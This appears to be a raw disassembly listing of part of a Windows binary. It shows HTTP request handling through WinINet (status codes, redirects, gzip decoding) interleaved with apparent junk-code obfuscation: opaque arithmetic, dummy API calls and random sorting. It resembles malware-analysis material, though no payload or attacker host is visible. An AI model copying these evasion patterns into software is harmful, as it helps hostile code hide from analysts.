jne 0x140033d1a
cmp rcx, 4
jne 0x140033d00
mov eax, r15d
jmp 0x140033d1f
sbb eax, eax
or eax, 1
test eax, eax
sete bl
test bl, bl
jne 0x140033ee2
jmp 0x14003560b
call fcn.14002e490
test al, al
jne 0x140033d4f
mov edx, 0x11
lea r8d, [rdx + 1]
lea rcx, [0x14015acf4]
call fcn.1400d40f4
mov edi, r15d
mov rcx, rsi
call fcn.14003ca80
test eax, eax
jle 0x14003560b
mov edx, edi
mov rcx, rsi
call fcn.14003cd60
mov edx, edi
mov rcx, rsi
cmp byte [rax + 8], 4
jne 0x140033df2
lea rax, [rbp + 0x4b8]
mov qword [rbp + 0x88], rax
call fcn.14003cd60
mov rdx, qword [rax]
lea rcx, [rbp + 0x4b8]
call fcn.140001370
nop
mov rdx, rax
lea rcx, [rbp + 0x110]
call fcn.140022b50
nop
mov rdx, qword [rax]
mov eax, r15d
test rdx, rdx
setne al
test eax, eax
je 0x140033ed7
mov rax, qword [rbp - 0x58]
sub rdx, rax
movzx ecx, word [rax]
cmp cx, word [rax + rdx]
jne 0x140033ddc
add rax, 2
test cx, cx
jne 0x140033dc5
mov eax, r15d
jmp 0x140033de1
sbb eax, eax
or eax, 1
test eax, eax
sete bl
mov rdx, qword [rbp + 0x110]
jmp 0x140033ea8
call fcn.14003cd60
cmp byte [rax + 8], 1
jne 0x140033ec0
lea rcx, str.__r_
mov rax, qword [str.__r_]
call qword [rax + 0x18]
lea rbx, [rax + 0x18]
mov qword [rbp + 0x1b8], rbx
mov edx, edi
mov rcx, rsi
call fcn.14003cd60
mov rcx, rax
call fcn.14003c680
mov r8d, eax
lea rdx, [rbp + 0x1b8]
lea rcx, [rbp + 0xc0]
call fcn.140022da0
nop
lea rdx, [rbx - 0x18]
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140033e5a
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov ecx, r15d
mov rax, qword [rbp + 0xc0]
test rax, rax
setne cl
test ecx, ecx
je 0x140035600
mov rcx, qword [rbp - 0x58]
sub rax, rcx
nop dword [rax]
movzx edx, word [rcx]
cmp dx, word [rcx + rax]
jne 0x140033e97
add rcx, 2
test dx, dx
jne 0x140033e80
mov eax, r15d
jmp 0x140033e9c
sbb eax, eax
or eax, 1
test eax, eax
sete bl
mov rdx, qword [rbp + 0xc0]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140033ebc
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
test bl, bl
jne 0x140033ee2
inc edi
mov rcx, rsi
call fcn.14003ca80
cmp edi, eax
jge 0x14003560b
jmp 0x140033d62
mov ecx, 0x80004005
call fcn.140001920
nop
mov dword [rbp + 8], r15d
lea r9, [rbp + 8]
mov rsi, qword [rbp - 0x30]
mov rcx, rsi
call fcn.140031ab0
lea rcx, str.__r_
mov rax, qword [str.__r_]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp - 0x40], rax
mov eax, dword [rbp + 8]
test eax, eax
je 0x140033fa6
mov ecx, eax
call fcn.1400d2e28
mov rbx, rax
test rax, rax
je 0x140033fa6
lea rcx, [0x14015bb60]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
test rax, rax
je 0x140033f66
lea rdx, [0x14015bb90]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140033f66
mov qword [rsp + 0x20], r15
lea r9, [rbp + 8]
mov r8, rbx
mov edx, 0x16
mov rcx, rsi
call rax
mov rdx, rbx
lea rcx, [rbp + 0x178]
call fcn.14002e260
nop
mov rdx, rax
lea rcx, [rbp - 0x40]
call fcn.1400023d0
nop
mov rdx, qword [rbp + 0x178]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140033f9e
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rcx, rbx
call fcn.1400d3f08
cmp byte [rsp + 0x41], 0
je 0x1400349c8
mov r8d, dword [0x1401d5d60]
lea ecx, [r8 + 2]
lea eax, [r8 + 1]
imul ecx, eax
imul ecx, r8d
and ecx, 0x8000000f
jge 0x140033fd6
dec ecx
or ecx, 0xfffffff0
inc ecx
mov esi, 4
cmp ecx, 5
jne 0x14003401b
mov eax, 0x51eb851f
imul r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x64
sub r8d, edx
add r8d, 0x141
movsxd rcx, r8d
mov eax, esi
mul rcx
cmovo rax, r14
mov rcx, rax
call fcn.1400d2e28
mov rcx, rax
call fcn.1400d3f08
mov eax, dword [rbp + 0x30]
and eax, 0xffffff00
mov dword [rbp + 0x30], eax
btr eax, 8
mov dword [rbp + 0x30], eax
mov qword [rbp + 0x38], r15
mov rdx, r15
mov rax, qword [rbp - 0x58]
lea r8, [0x14015bba0]
nop
movzx ecx, word [rax + rdx*2]
inc rdx
cmp cx, word [r8 + rdx*2 - 2]
jne 0x140034059
cmp rdx, rsi
jne 0x140034040
mov ecx, r15d
jmp 0x14003405e
sbb ecx, ecx
or ecx, 1
test ecx, ecx
setne cl
test cl, cl
je 0x140034269
mov rdx, r15
lea r8, [0x14015bb80]
nop word [rax + rax]
movzx ecx, word [rax + rdx*2]
inc rdx
cmp cx, word [r8 + rdx*2 - 2]
jne 0x140034099
cmp rdx, rsi
jne 0x140034080
mov ecx, r15d
jmp 0x14003409e
sbb ecx, ecx
or ecx, 1
test ecx, ecx
setne cl
test cl, cl
je 0x140034269
mov rdx, r15
lea r8, [0x14015bb88]
nop word [rax + rax]
movzx ecx, word [rax + rdx*2]
inc rdx
cmp cx, word [r8 + rdx*2 - 2]
jne 0x1400340d9
cmp rdx, rsi
jne 0x1400340c0
mov ecx, r15d
jmp 0x1400340de
sbb ecx, ecx
or ecx, 1
test ecx, ecx
setne cl
test cl, cl
je 0x140034269
mov rdx, r15
lea r8, [0x14015bbb8]
nop word [rax + rax]
movzx ecx, word [rax + rdx*2]
inc rdx
cmp cx, word [r8 + rdx*2 - 2]
jne 0x140034119
cmp rdx, rsi
jne 0x140034100
mov eax, r15d
jmp 0x14003411e
sbb eax, eax
or eax, 1
test eax, eax
setne al
test al, al
je 0x140034269
lea rdx, [rbp + 0x28]
mov rbx, qword [rbp - 0x50]
mov rcx, rbx
call fcn.14003c2b0
mov dword [rsp + 0x44], 1
lea rcx, [rbp + 0x28]
call fcn.14003c410
nop
mov rdx, qword [rbp - 0x40]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140034166
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x58]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14003417f
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x78]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140034198
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x50]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400341b2
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x70]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400341cc
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x78]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400341e6
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x68]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400341ff
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x80]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140034218
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x70]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140034231
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x68]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14003424b
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x60]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140034264
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
jmp 0x140035784
lea rcx, [rbp - 0x38]
call fcn.140002270
nop
mov rcx, qword [rbp - 0x40]
add rcx, 0xffffffffffffffe8
call fcn.1400025c0
add rax, 0x18
mov qword [rbp], rax
call fcn.14002e760
test al, al
jne 0x1400342a6
mov qword [rsp + 0x20], r15
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
lea rcx, [rbp]
call fcn.140029600
mov rcx, qword [rbp]
cmp dword [rcx - 0x10], 0
jl 0x140034842
lea rdx, [0x14015bbc0]
call fcn.1400d4634
mov rbx, rax
test rax, rax
je 0x140034842
mov rcx, qword [rbp]
sub rbx, rcx
sar rbx, 1
cmp ebx, 0xffffffff
je 0x140034842
test ebx, ebx
js 0x140034312
cmp ebx, dword [rcx - 0x10]
jg 0x140034312
movsxd rax, ebx
lea rcx, [rcx + rax*2]
lea rdx, [0x14015aebc]
call fcn.1400d4634
test rax, rax
je 0x140034312
sub rax, qword [rbp]
sar rax, 1
jmp 0x140034315
mov eax, r14d
sub eax, ebx
mov r9d, eax
mov r8d, ebx
lea rdx, [rbp + 0x1d8]
lea rcx, [rbp]
call fcn.14000fe20
nop
mov rdx, rax
lea rcx, [rbp - 0x38]
call fcn.1400023d0
nop
mov rdx, qword [rbp + 0x1d8]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140034356
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rcx, qword [rbp - 0x38]
cmp dword [rcx - 0x10], 0
jge 0x140034365
mov edi, r14d
jmp 0x140034385
lea rdx, [0x14015bbf8]
call fcn.1400d4634
mov rdi, rax
test rax, rax
jne 0x14003437e
mov edi, r14d
jmp 0x140034385
sub rdi, qword [rbp - 0x38]
sar rdi, 1
mov ecx, dword [0x1401d5d60]
imul ecx, ecx
mov eax, 0x2aaaaaab
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 3
sub ecx, eax
cmp ecx, 0x13
jne 0x1400344d3
mov rbx, r15
call fcn.1400d41a0
movd xmm0, eax
cvtdq2pd xmm0, xmm0
movsd qword [rbp + rbx*8 + 0x8a0], xmm0
inc rbx
cmp rbx, 4
jb 0x1400343b3
mov r9d, 3
nop dword [rax + rax]
mov edx, 3
cmp r15, rdx
jge 0x1400344c4
cmp r9, 4
jl 0x14003448d
lea rcx, [rbp + 0x8a8]
mov r8, r14
sub r8, r15
shr r8, 2
inc r8
lea rax, [r8*4]
sub rdx, rax
nop word [rax + rax]
movsd xmm0, qword [rcx + 0x10]
movsd xmm1, qword [rcx + 8]
comisd xmm0, xmm1
jbe 0x14003443a
movsd qword [rcx + 0x10], xmm1
movsd qword [rcx + 8], xmm0
movsd xmm0, qword [rcx + 8]
movsd xmm1, qword [rcx]
comisd xmm0, xmm1
jbe 0x140034452
movsd qword [rcx + 8], xmm1
movsd qword [rcx], xmm0
movsd xmm0, qword [rcx]
movsd xmm1, qword [rcx - 8]
comisd xmm0, xmm1
jbe 0x14003446a
movsd qword [rcx], xmm1
movsd qword [rcx - 8], xmm0
movsd xmm0, qword [rcx - 8]
movsd xmm1, qword [rcx - 0x10]
comisd xmm0, xmm1
jbe 0x140034484
movsd qword [rcx - 8], xmm1
movsd qword [rcx - 0x10], xmm0
sub rcx, 0x20
dec r8
jne 0x140034420
cmp rdx, r15
jle 0x1400344c4
movsd xmm0, qword [rbp + rdx*8 + 0x8a0]
movsd xmm1, qword [rbp + rdx*8 + 0x898]
comisd xmm0, xmm1
jbe 0x1400344bc
movsd qword [rbp + rdx*8 + 0x8a0], xmm1
movsd qword [rbp + rdx*8 + 0x898], xmm0
dec rdx
cmp rdx, r15
jg 0x140034492
inc r15
dec r9
dec rsi
jne 0x1400343e0
cmp edi, 0xffffffff
jne 0x1400345c0
lea rdx, [rbp + 0x28]
mov rbx, qword [rbp - 0x50]
mov rcx, rbx
call fcn.14003c2b0
mov dword [rsp + 0x44], 1
mov rdx, qword [rbp]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14003450d
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x38]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140034526
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rbp + 0x28]
call fcn.14003c410
nop
mov rdx, qword [rbp - 0x40]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140034549
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rbp - 0x58]
call fcn.1400023b0
nop
lea rcx, [rbp - 0x78]
call fcn.140002350
nop
lea rcx, [rsp + 0x50]
call fcn.140002350
nop
lea rcx, [rsp + 0x70]
call fcn.140002350
nop
lea rcx, [rsp + 0x78]
call fcn.140002350
nop
lea rcx, [rbp - 0x68]
call fcn.140002350
nop
lea rcx, [rbp - 0x80]
call fcn.140002350
nop
lea rcx, [rbp - 0x70]
call fcn.140002350
nop
lea rcx, [rsp + 0x68]
call fcn.140002350
nop
lea rcx, [rbp - 0x60]
call fcn.140002350
nop
lea rcx, [rsp + 0x60]
call fcn.140002350
jmp 0x14003579d
lea rcx, [rbp - 0x38]
call fcn.140002460
sub eax, edi
mov r8d, eax
lea rdx, [rbp + 0x188]
lea rcx, [rbp - 0x38]
call fcn.14001b1c0
nop
mov rdx, rax
lea rcx, [rbp - 0x38]
call fcn.140002390
nop
lea rcx, [rbp + 0x188]
call fcn.140002350
mov ecx, dword [0x1401d5d60]
lea eax, [rcx + 1]
imul eax, ecx
and eax, 0x8000000f
jge 0x140034612
dec eax
or eax, 0xfffffff0
inc eax
cmp eax, 1
jne 0x14003461f
dec ecx
mov dword [0x1401d5d60], ecx
mov dl, 1
lea rcx, [rbp + 0x2b8]
call fcn.14003c290
nop
lea rdx, str.urlRedirected
lea rcx, [rbp + 0x28]
call fcn.14003ce40
mov rcx, rax
lea rdx, [rbp + 0x2b8]
call fcn.14003c4c0
nop
lea rcx, [rbp + 0x2b8]
call fcn.14003c410
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x538]
call fcn.140022bf0
nop
mov rdx, rax
lea rcx, [rbp + 0x358]
call fcn.14003c1f0
nop
lea rdx, str.requestUrl
lea rcx, [rbp + 0x28]
call fcn.14003ce40
mov rcx, rax
lea rdx, [rbp + 0x358]
call fcn.14003c4c0
nop
lea rcx, [rbp + 0x358]
call fcn.14003c410
nop
lea rcx, [rbp + 0x538]
call fcn.1400013b0
lea rdx, [rbp - 0x38]
lea rcx, [rbp + 0x5b8]
call fcn.140022bf0
nop
mov rdx, rax
lea rcx, [rbp + 0x248]
call fcn.14003c1f0
nop
lea rdx, str.redirectUrl
lea rcx, [rbp + 0x28]
call fcn.14003ce40
mov rcx, rax
lea rdx, [rbp + 0x248]
call fcn.14003c4c0
nop
lea rcx, [rbp + 0x248]
call fcn.14003c410
nop
lea rcx, [rbp + 0x5b8]
call fcn.1400013b0
xor edx, edx
lea rcx, [rbp - 0x58]
call fcn.140002230
mov rcx, rax
call fcn.1400d4944
mov edx, eax
lea rcx, [rbp + 0x260]
call fcn.14003c140
nop
lea rdx, str.statusCode
lea rcx, [rbp + 0x28]
call fcn.14003ce40
mov rcx, rax
lea rdx, [rbp + 0x260]
call fcn.14003c4c0
nop
lea rcx, [rbp + 0x260]
call fcn.14003c410
call fcn.14002e820
test al, al
jne 0x14003478a
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov ecx, dword [0x1401d5d60]
mov edx, 7
test rax, rax
cmove ecx, edx
mov dword [0x1401d5d60], ecx
lea rdx, [rbp + 0x28]
mov rcx, qword [rbp - 0x50]
call fcn.14003c2b0
mov dword [rsp + 0x44], 1
lea rcx, [rbp]
call fcn.140002350
nop
lea rcx, [rbp - 0x38]
call fcn.140002350
nop
lea rcx, [rbp + 0x28]
call fcn.14003c410
nop
lea rcx, [rbp - 0x40]
call fcn.140002350
nop
lea rcx, [rbp - 0x58]
call fcn.140002350
nop
lea rcx, [rbp - 0x78]
call fcn.140002350
nop
lea rcx, [rsp + 0x50]
call fcn.140002350
nop
lea rcx, [rsp + 0x70]
call fcn.140002350
nop
lea rcx, [rsp + 0x78]
call fcn.140002350
nop
lea rcx, [rbp - 0x68]
call fcn.140002350
nop
lea rcx, [rbp - 0x80]
call fcn.140002350
nop
lea rcx, [rbp - 0x70]
call fcn.140002350
nop
lea rcx, [rsp + 0x68]
call fcn.140002350
nop
lea rcx, [rbp - 0x60]
call fcn.140002350
nop
lea rcx, [rsp + 0x60]
call fcn.140002350
mov rax, qword [rbp - 0x50]
jmp 0x1400357a0
call fcn.14002e7e0
test al, al
jne 0x140034858
lea rcx, [rbp + 0x7f0]
call qword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
lea rdx, [rbp + 0x28]
mov rbx, qword [rbp - 0x50]
mov rcx, rbx
call fcn.14003c2b0
mov dword [rsp + 0x44], 1
mov rdx, qword [rbp]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140034889
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x38]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400348a2
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rbp + 0x28]
call fcn.14003c410
nop
mov rdx, qword [rbp - 0x40]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400348c5
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x58]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400348de
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x78]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400348f7
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x50]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140034911
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x70]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14003492b
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x78]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140034945
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x68]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14003495e
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x80]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140034977
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x70]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140034990
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x68]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400349aa
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x60]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400349c3
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
jmp 0x140035784
lea rcx, [rbp - 0x18]
call fcn.14001b560
nop
mov dword [rbp - 0x1c], r15d
lea rcx, [rbp - 0x18]
call fcn.140035ab0
mov rdi, rax
lea rdx, [rax + 0x400]
lea rcx, [rbp - 0x18]
call fcn.1400359b0
mov dword [rbp - 0x1c], r15d
call fcn.14002e820
mov rdx, rdi
lea rcx, [rbp - 0x18]
call fcn.140035ac0
mov rbx, rax
call fcn.14002ce50
mov rcx, rax
lea rax, [rbp - 0x1c]
mov qword [rsp + 0x20], rax
mov r8, rbx
mov rdx, rsi
call fcn.140043bd0
test eax, eax
je 0x14003555f
mov edx, dword [rbp - 0x1c]
add rdx, rdi
lea rcx, [rbp - 0x18]
call fcn.1400359b0
mov r8d, dword [0x1401d5d60]
mov ecx, r8d
imul ecx, r8d
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
cmp ecx, 5
jne 0x140034a79
lea rcx, [rbp + 0x690]
call qword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
mov r8d, dword [0x1401d5d60]
mov eax, r8d
imul eax, r8d
imul eax, r8d
and eax, 0x8000000f
jge 0x140034a92
dec eax
or eax, 0xfffffff0
inc eax
cmp eax, 0xa
jne 0x140034aa2
call fcn.1400d41a0
mov dword [0x1401d5d60], eax
cmp dword [rbp - 0x1c], 0
jne 0x1400349d6
mov byte [rbp + 0x1350], 0
xor edx, edx
mov r8d, 0x400
lea rcx, [rbp + 0x1351]
call fcn.1400d8c20
mov dword [rbp + 0xa0], 0x400
mov rbx, r15
lea rcx, str.Wininet.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rdi, rax
test rax, rax
je 0x140034b17
call fcn.14002e540
test al, al
jne 0x140034b04
mov ecx, 4
call fcn.1400d3fa0
mov ecx, dword [0x1401d5d60]
mov dword [rax], ecx
lea rdx, str.HttpQueryInfoA
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
mov qword [rsp + 0x20], r15
lea r9, [rbp + 0xa0]
lea r8, [rbp + 0x1350]
mov edx, 0x1d
mov rcx, rsi
call rbx
test eax, eax
je 0x140034e99
lea rdx, [rbp + 0x1350]
lea rcx, [rbp + 0x90]
call fcn.14002e260
nop
lea rdx, str.gzip
lea rcx, [rbp + 0x90]
call fcn.14001b520
test al, al
je 0x140034e2c
lea rcx, [rbp + 0x200]
call fcn.14001b560
nop
lea rcx, [rbp - 0x18]
call fcn.140035ab0
mov rbx, rax
xor edx, edx
lea rcx, [rbp - 0x18]
call fcn.140035ac0
mov rcx, rax
lea r8, [rbp + 0x200]
mov rdx, rbx
call fcn.14002e8f0
test eax, eax
jne 0x140034ddc
mov ecx, dword [0x1401d5d60]
lea r8d, [rcx + 2]
lea eax, [rcx + 1]
imul r8d, eax
imul r8d, ecx
mov eax, 0x55555556
imul r8d
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
sub r8d, eax
cmp r8d, 1
jne 0x140034bdf
dec dword [0x1401d6b20]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [0x1401d5d60]
lea r8d, [rcx + 2]
lea eax, [rcx + 1]
imul r8d, eax
imul r8d, ecx
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xd
sub r8d, edx
cmp r8d, 9
jne 0x140034d43
mov rbx, r15
call fcn.1400d41a0
movd xmm0, eax
cvtdq2pd xmm0, xmm0
movsd qword [rbp + rbx*8 + 0x8c0], xmm0
inc rbx
cmp rbx, 0x3a
jb 0x140034c22
mov r9d, 0x39
lea r10d, [r9 + 1]
nop dword [rax + rax]
mov edx, 0x39
cmp r15, rdx
jge 0x140034d34
cmp r9, 4
jl 0x140034cfd
lea rcx, [rbp + 0xa78]
mov r8d, 0x35
sub r8, r15
shr r8, 2
inc r8
lea rax, [r8*4]
sub rdx, rax
nop word [rax + rax]
movsd xmm0, qword [rcx + 0x10]
movsd xmm1, qword [rcx + 8]
comisd xmm0, xmm1
jbe 0x140034caa
movsd qword [rcx + 0x10], xmm1
movsd qword [rcx + 8], xmm0
movsd xmm0, qword [rcx + 8]
movsd xmm1, qword [rcx]
comisd xmm0, xmm1
jbe 0x140034cc2
movsd qword [rcx + 8], xmm1
movsd qword [rcx], xmm0
movsd xmm0, qword [rcx]
movsd xmm1, qword [rcx - 8]
comisd xmm0, xmm1
jbe 0x140034cda
movsd qword [rcx], xmm1
movsd qword [rcx - 8], xmm0
movsd xmm0, qword [rcx - 8]
movsd xmm1, qword [rcx - 0x10]
comisd xmm0, xmm1
jbe 0x140034cf4
movsd qword [rcx - 8], xmm1
movsd qword [rcx - 0x10], xmm0
sub rcx, 0x20
dec r8
jne 0x140034c90
cmp rdx, r15
jle 0x140034d34
movsd xmm0, qword [rbp + rdx*8 + 0x8c0]
movsd xmm1, qword [rbp + rdx*8 + 0x8b8]
comisd xmm0, xmm1
jbe 0x140034d2c
movsd qword [rbp + rdx*8 + 0x8c0], xmm1
movsd qword [rbp + rdx*8 + 0x8b8], xmm0
dec rdx
cmp rdx, r15
jg 0x140034d02
inc r15
dec r9
dec r10
jne 0x140034c50
call fcn.14002e720
test al, al
jne 0x140034d6e
mov ecx, 4
call fcn.1400d3fa0
mov rbx, rax
call fcn.1400d41a0
mov dword [rbx], eax
mov dword [0x1401d5d60], eax
mov rcx, rbx
call fcn.1400d37c0
cmp byte [rsp + 0x40], 0
je 0x140034d7f
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rdx, str.gzip_decompressing_error
lea rcx, [rbp + 0x118]
call fcn.140003310
nop
mov rdx, rax
mov rcx, qword [rbp - 0x50]
call fcn.14002f120
mov dword [rsp + 0x44], 1
lea rcx, [rbp + 0x118]
call fcn.140002350
nop
lea rcx, [rbp + 0x200]
call fcn.14002e2b0
nop
lea rcx, [rbp + 0x90]
call fcn.140002350
nop
lea rcx, [rbp - 0x18]
call fcn.14002e2b0
jmp 0x1400347bd
lea rdx, [rbp + 0x200]
lea rcx, [rbp - 0x18]
call fcn.140035890
mov eax, dword [0x1401d5d60]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, 0x88888889
imul ecx
add edx, ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xf
sub ecx, edx
cmp ecx, 0xd
jne 0x140034e20
call fcn.1400d41a0
mov dword [0x1401d5d60], eax
lea rcx, [rbp + 0x200]
call fcn.14002e2b0
call fcn.14002e760
test al, al
jne 0x140034e8d
movsd xmm3, qword [0x140162fc8]
xorps xmm2, xmm2
movd xmm4, dword [0x1401d5d60]
cvtdq2pd xmm4, xmm4
movsd xmm5, qword [0x140162ff0]
movsd xmm6, qword [0x140162fc0]
nop dword [rax]
addsd xmm2, xmm3
movaps xmm0, xmm2
mulsd xmm0, xmm2
comisd xmm0, xmm4
jbe 0x140034e79
subsd xmm2, xmm3
divsd xmm3, xmm5
movaps xmm1, xmm2
mulsd xmm1, xmm2
movaps xmm0, xmm4
subsd xmm0, xmm1
comisd xmm0, xmm6
ja 0x140034e60
lea rcx, [rbp + 0x90]
call fcn.140002350
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
cmp byte [rsp + 0x40], 0
je 0x140034eb3
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
